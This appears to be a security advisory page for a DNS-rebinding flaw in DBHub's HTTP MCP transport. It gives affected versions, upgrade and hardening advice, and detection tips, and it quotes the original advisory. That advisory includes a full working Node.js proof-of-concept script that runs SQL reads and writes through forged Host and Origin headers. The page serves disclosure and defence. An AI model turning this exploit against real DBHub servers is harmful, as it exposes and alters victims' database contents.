CVE-2026-61742: DBHub HTTP transport DNS rebinding allows unauthenticated browser-origin SQL execution
DBHub's HTTP transport (`--transport http`) accepts requests whose `Origin` hostname equals the `Host` hostname, which is exactly what a DNS-rebinding attack sends. A malicious web page can then call DBHub's MCP tools, including `execute_sql`, from the victim's browser with no authentication. `@bytebase/dbhub` 0.22.4 and earlier are affected; upgrade to 0.22.5.
Published Sep 24, 2026 · Analysis Oct 22, 2026
What an attacker can do
The HTTP server in src/server.ts blocks a request only when the Origin hostname differs from the Host hostname, then reflects the origin into Access-Control-Allow-Origin and sets Access-Control-Allow-Credentials: true. After DNS rebinding, an attacker's hostname points at the DBHub address, so both headers carry that hostname and the check passes. No token or per-server secret is needed before /mcp accepts JSON-RPC calls.
The victim visits a malicious page. The page's JavaScript rebinds its hostname to the DBHub server reachable from the victim's browser, then sends MCP requests. Because DBHub reflects the origin, the script can read the responses. The attacker can list tools, enumerate tables and schemas, read data through execute_sql, and run writes unless execute_sql is configured read-only. No prompt injection or compromised AI client is involved.
The researcher reproduced it with a script against 0.21.2 in demo mode: the plain cross-origin control request returned 403, while the rebinding-shaped headers returned 200 and allowed a read and a write. Only HTTP mode is affected; the default stdio transport is not. The severity grows when DBHub holds production or broadly privileged credentials.
Who is affected
@bytebase/dbhub 0.22.4 and earlier (tested on 0.21.2) when started with --transport http. The default stdio transport is not affected by this vector. Anyone running DBHub's HTTP mode on localhost or an internal address that a browser on the same machine or network can reach is exposed.
npm ls -g @bytebase/dbhubAlso check how your MCP client launches DBHub, for example the --transport http --port 8080 flags in its config.
@bytebase/dbhub
- Ecosystem
- npm
- Affected
- <= 0.22.4
- Fixed in
- 0.22.5
- Check
npm ls @bytebase/dbhub
How to fix it
Upgrade to @bytebase/dbhub 0.22.5 or later:
npm install -g @bytebase/[email protected]The advisory's suggested hardening is to bind HTTP mode to 127.0.0.1 by default, use explicit allowed-host and allowed-origin lists instead of trusting matching Origin and Host, and require an authentication token on /mcp. If you cannot upgrade, switch to stdio transport, bind to loopback only, and give DBHub a read-only, least-privilege database account.
How to tell if you were hit
Check access logs of the DBHub HTTP endpoint for requests whose Host and Origin carry the same unfamiliar hostname instead of localhost or your deployment name. Review database logs for execute_sql queries you did not issue, new tables such as dns_rebind_probe from the proof of concept, and unexpected schema enumeration. Beam records agent MCP tool calls, but this attack comes from a browser, not an agent, so it will not appear there.
Original advisory
From the GitHub Advisory Database (CC BY 4.0).
Summary
DBHub 0.21.2 exposes an unauthenticated HTTP MCP endpoint when started with the documented HTTP transport mode, for example --transport http --port 8080.
The HTTP server attempts to protect browser-origin access by checking whether the Origin hostname equals the Host hostname, then reflecting the validated Origin into Access-Control-Allow-Origin. This does not stop DNS rebinding. After an attacker-controlled hostname rebinds to a victim-accessible DBHub HTTP server, both Origin and Host can contain the attacker-controlled hostname, so DBHub accepts the request and dispatches MCP tool calls.
As a result, a malicious website can deterministically invoke DBHub MCP tools from the victim's browser without prompt injection or model involvement. With the default demo configuration this can read and write the demo SQLite database; with a real configured database, the same primitive can read, enumerate, and potentially write database contents depending on DBHub's configured tool permissions and database credentials.
Recommended severity: High. It may become Critical when HTTP transport is connected to production or broadly privileged database credentials.
Details
Affected target:
- Package:
@bytebase/dbhub - Version tested:
0.21.2 - Repository commit tested:
72adfdcf7bcfe46b25edbc776ce096006eba9b02 - Affected mode: HTTP transport (
--transport http) - Default package transport: stdio
- Not affected by this specific browser-origin vector: stdio transport
Relevant code path: src/server.ts
The HTTP server installs a middleware that:
- reads
req.headers.origin; - extracts the hostname from
req.headers.host; - parses the hostname from
Origin; - rejects only when the two hostnames differ;
- reflects the validated
OriginintoAccess-Control-Allow-Origin; - enables credentials with
Access-Control-Allow-Credentials: true.
Relevant code:
const origin = req.headers.origin;
if (origin) {
const host = (req.headers.host ?? '').split(':')[0].toLowerCase();
try {
const originHost = new URL(origin).hostname.toLowerCase();
if (originHost !== host) {
return res.status(403).json({
error: 'Forbidden',
message: 'Origin does not match Host header (DNS rebinding protection)',
});
}
} catch {
return res.status(400).json({ error: 'Bad Request', message: 'Malformed Origin header' });
}
}
res.header('Access-Control-Allow-Origin', origin || 'http://localhost');
res.header('Access-Control-Allow-Methods', 'GET, POST, OPTIONS');
res.header('Access-Control-Allow-Headers', 'Content-Type, Mcp-Session-Id');
res.header('Access-Control-Allow-Credentials', 'true');This blocks a simple cross-origin request such as:
Host: localhost:8080
Origin: http://attacker.exampleHowever, it accepts the DNS rebinding request shape:
Host: dbhub-rebind.example:8080
Origin: http://dbhub-rebind.exampleIn a browser attack, the victim visits an attacker-controlled page such as http://dbhub-rebind.example:8080. The attacker initially resolves that hostname to the attacker's web server, serves JavaScript, then rebinds the hostname to the victim-accessible DBHub address on the same port. The browser can then send requests where the request host and browser origin are both the attacker-controlled hostname. The current check treats that as trusted because it verifies equality, not membership in an explicit allowed-host or allowed-origin policy.
No authorization token, per-server secret, or CSRF-style capability is required before /mcp accepts JSON-RPC tool calls in HTTP mode. Therefore, once the rebinding request shape passes the hostname equality check, the browser can invoke the same MCP tools as an intended HTTP MCP client.
Suggested remediation:
- Bind HTTP transport to
127.0.0.1by default and require explicit opt-in for0.0.0.0or non-loopback hosts. - Add an explicit allowed-hosts policy instead of accepting arbitrary
Hostvalues becauseOriginhas the same hostname. - Add an explicit allowed-origins policy and do not reflect arbitrary origins by default.
- Require an authentication token or CSRF-style capability before dispatching
/mcpJSON-RPC methods. - Consider rejecting browser-origin requests whose
Hostis not a configured loopback hostname or configured deployment hostname.
PoC
The following PoC is intended to be reproducible on another machine. It does not rely on any local files, local databases, private infrastructure, or custom audit tooling.
Requirements:
- Node.js 20 or newer
- npm/npx access to install
@bytebase/[email protected] - An available local TCP port selected by the script
Save the following as dbhub-dns-rebinding-poc.mjs and run:
node dbhub-dns-rebinding-poc.mjsThe script starts DBHub 0.21.2 in demo HTTP mode on a local port, waits until it is ready, sends one blocked control request, sends the DNS-rebinding-shaped requests, prints the results, and terminates the DBHub process.
import { spawn } from "node:child_process";
import http from "node:http";
import net from "node:net";
const attackerHost = "dbhub-rebind.example";
const port = await pickFreePort();
const launch = dbhubLaunchCommand(port);
const server = spawn(
launch.command,
launch.args,
{
stdio: ["ignore", "pipe", "pipe"],
},
);
let stdout = "";
let stderr = "";
server.stdout.on("data", (chunk) => {
stdout += chunk.toString();
});
server.stderr.on("data", (chunk) => {
stderr += chunk.toString();
});
try {
await waitForDbhub(port);
const blocked = await postMcp("blocked", "tools/list", {}, {
Host: `localhost:${port}`,
Origin: "http://attacker.example",
});
const rebindHeaders = {
Host: `${attackerHost}:${port}`,
Origin: `http://${attackerHost}`,
};
const list = await postMcp("list", "tools/list", {}, rebindHeaders);
const read = await postMcp("read", "tools/call", {
name: "execute_sql",
arguments: { sql: "select 'STANDALONE_REBIND_CANARY' as proof" },
}, rebindHeaders);
const write = await postMcp("write", "tools/call", {
name: "execute_sql",
arguments: {
sql: "create table if not exists dns_rebind_probe(id integer primary key, marker text); insert into dns_rebind_probe(marker) values('standalone write proof'); select count(*) as rows_written from dns_rebind_probe;",
},
}, rebindHeaders);
const result = {
port,
blocked: summarize(blocked),
rebindToolsList: summarize(list),
rebindRead: summarize(read),
rebindWrite: summarize(write),
reproduced:
blocked.statusCode === 403 &&
list.statusCode === 200 &&
list.acao === `http://${attackerHost}` &&
read.statusCode === 200 &&
read.body.includes("STANDALONE_REBIND_CANARY") &&
write.statusCode === 200 &&
write.body.includes("rows_written"),
};
console.log(JSON.stringify(result, null, 2));
if (!result.reproduced) {
process.exitCode = 1;
}
} finally {
await stopServer(server);
}
async function postMcp(id, method, params, headers) {
const body = JSON.stringify({ jsonrpc: "2.0", id, method, params });
return await new Promise((resolve, reject) => {
const req = http.request(
{
hostname: "127.0.0.1",
port,
path: "/mcp",
method: "POST",
headers: {
"Content-Type": "application/json",
"Accept": "application/json, text/event-stream",
"Content-Length": Buffer.byteLength(body),
...headers,
},
},
(res) => {
let data = "";
res.setEncoding("utf8");
res.on("data", (chunk) => { data += chunk; });
res.on("end", () => {
resolve({
statusCode: res.statusCode,
acao: res.headers["access-control-allow-origin"] || null,
body: data,
});
});
},
);
req.on("error", reject);
req.write(body);
req.end();
});
}
async function waitForDbhub(port) {
const deadline = Date.now() + 45_000;
while (Date.now() < deadline) {
if (server.exitCode !== null) {
throw new Error(`DBHub exited early with code ${server.exitCode}\nstdout:\n${stdout}\nstderr:\n${stderr}`);
}
try {
const response = await httpGet(`http://127.0.0.1:${port}/healthz`);
if (response.statusCode === 200) return;
} catch {
// keep waiting
}
await new Promise((resolve) => setTimeout(resolve, 500));
}
throw new Error(`DBHub did not become ready\nstdout:\n${stdout}\nstderr:\n${stderr}`);
}
async function httpGet(url) {
return await new Promise((resolve, reject) => {
const req = http.get(url, (res) => {
res.resume();
res.on("end", () => resolve({ statusCode: res.statusCode }));
});
req.on("error", reject);
req.setTimeout(2_000, () => {
req.destroy(new Error("timeout"));
});
});
}
async function pickFreePort() {
return await new Promise((resolve, reject) => {
const server = net.createServer();
server.listen(0, "127.0.0.1", () => {
const address = server.address();
const selected = address.port;
server.close(() => resolve(selected));
});
server.on("error", reject);
});
}
function summarize(result) {
return {
statusCode: result.statusCode,
acao: result.acao,
body: result.body.slice(0, 900),
};
}
function dbhubLaunchCommand(port) {
if (process.platform === "win32") {
return {
command: "cmd.exe",
args: [
"/d",
"/s",
"/c",
`npx -y @bytebase/[email protected] --transport http --port ${port} --demo`,
],
};
}
return {
command: "npx",
args: ["-y", "@bytebase/[email protected]", "--transport", "http", "--port", String(port), "--demo"],
};
}
async function stopServer(child) {
if (!child.pid || child.exitCode !== null) return;
if (process.platform === "win32") {
await new Promise((resolve) => {
const killer = spawn("taskkill.exe", ["/pid", String(child.pid), "/t", "/f"], { stdio: "ignore" });
killer.on("exit", resolve);
killer.on("error", resolve);
});
return;
}
child.kill("SIGTERM");
}Expected output:
blocked.statusCodeis403.rebindToolsList.statusCodeis200.rebindToolsList.acaoishttp://dbhub-rebind.example.rebindRead.bodycontainsSTANDALONE_REBIND_CANARY.rebindWrite.bodycontainsrows_written.reproducedistrue.
This PoC simulates the post-rebinding request shape by connecting to 127.0.0.1 while sending the attacker-controlled Host and Origin headers. It does not require a live external DNS server. A live browser exploit would use the same accepted request shape after DNS rebinding the attacker-controlled hostname to the DBHub server reachable from the victim browser.
Impact
An attacker who can get a victim to visit a malicious web page can make the victim's browser send MCP JSON-RPC requests to the victim-accessible DBHub HTTP server after DNS rebinding.
If DBHub is connected to a real database, the attacker can:
- list DBHub MCP tools exposed by the server;
- execute
execute_sql; - enumerate tables and schemas;
- read database contents;
- run write queries when
execute_sqlis not configured as read-only; - read the JSON-RPC response from browser JavaScript because DBHub reflects the attacker-controlled origin;
- exfiltrate query results through normal browser egress.
This does not require prompt injection, a compromised AI client, or prior access to the victim's internal network. It only requires that the victim has DBHub HTTP transport running and reachable from the victim browser.
The affected HTTP mode is opt-in, but it is a documented integration mode for web clients, shared servers, remote access, and clients that do not support stdio. Users may reasonably treat a local or internal DBHub HTTP endpoint as reachable only by their intended MCP client, while DNS rebinding lets an unrelated web page cross that browser-to-localhost/internal boundary.
Credited to junbyjun1238, avishaigonen-pluto.
Questions
- Is the default stdio DBHub setup affected by CVE-2026-61742?
No. The advisory scopes the flaw to HTTP transport (
--transport http). Stdio transport is not reachable by this browser-origin vector.- Does the attacker need prompt injection or access to my network?
No. They need the victim to open a malicious page while a DBHub HTTP server is reachable from that browser. DNS rebinding carries the request across the browser boundary.
- Can attackers read the query results?
Yes. DBHub reflects the attacker-controlled origin and allows credentials in its CORS headers, so the page's JavaScript can read the JSON-RPC responses and send them out.
References
Read for this analysis:
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology
More Other MCP servers and tools vulnerabilities
All Other MCP servers and tools entriesCVE-2026-77361
obsidian-tc : Symlink read-ACL scope bypass via lexical path checks
medium4.7Oct 23, 2026CVE-2026-114126
Storybook dev server vulnerable to code injection from the local network
high8.7Oct 22, 2026CVE-2026-113731
djust: Arbitrary absolute-path file read in the find_handlers_for_template MCP tool
low3.3Oct 21, 2026CVE-2026-114125
Storybook: Missing origin validation in Storybook preview allows code injection from malicious websites
critical9.4Oct 21, 2026CVE-2026-111770
MCP TypeScript server SDK: Shared transport or server instances delivered one HTTP client's messages to another
high7.7Oct 20, 2026GHSA-953h-535j-jg2v
agent-router: MCP session resume does not verify the embedded anti-hijacking subject; default Helm seed makes session IDs forgeable
medium6.8Oct 19, 2026
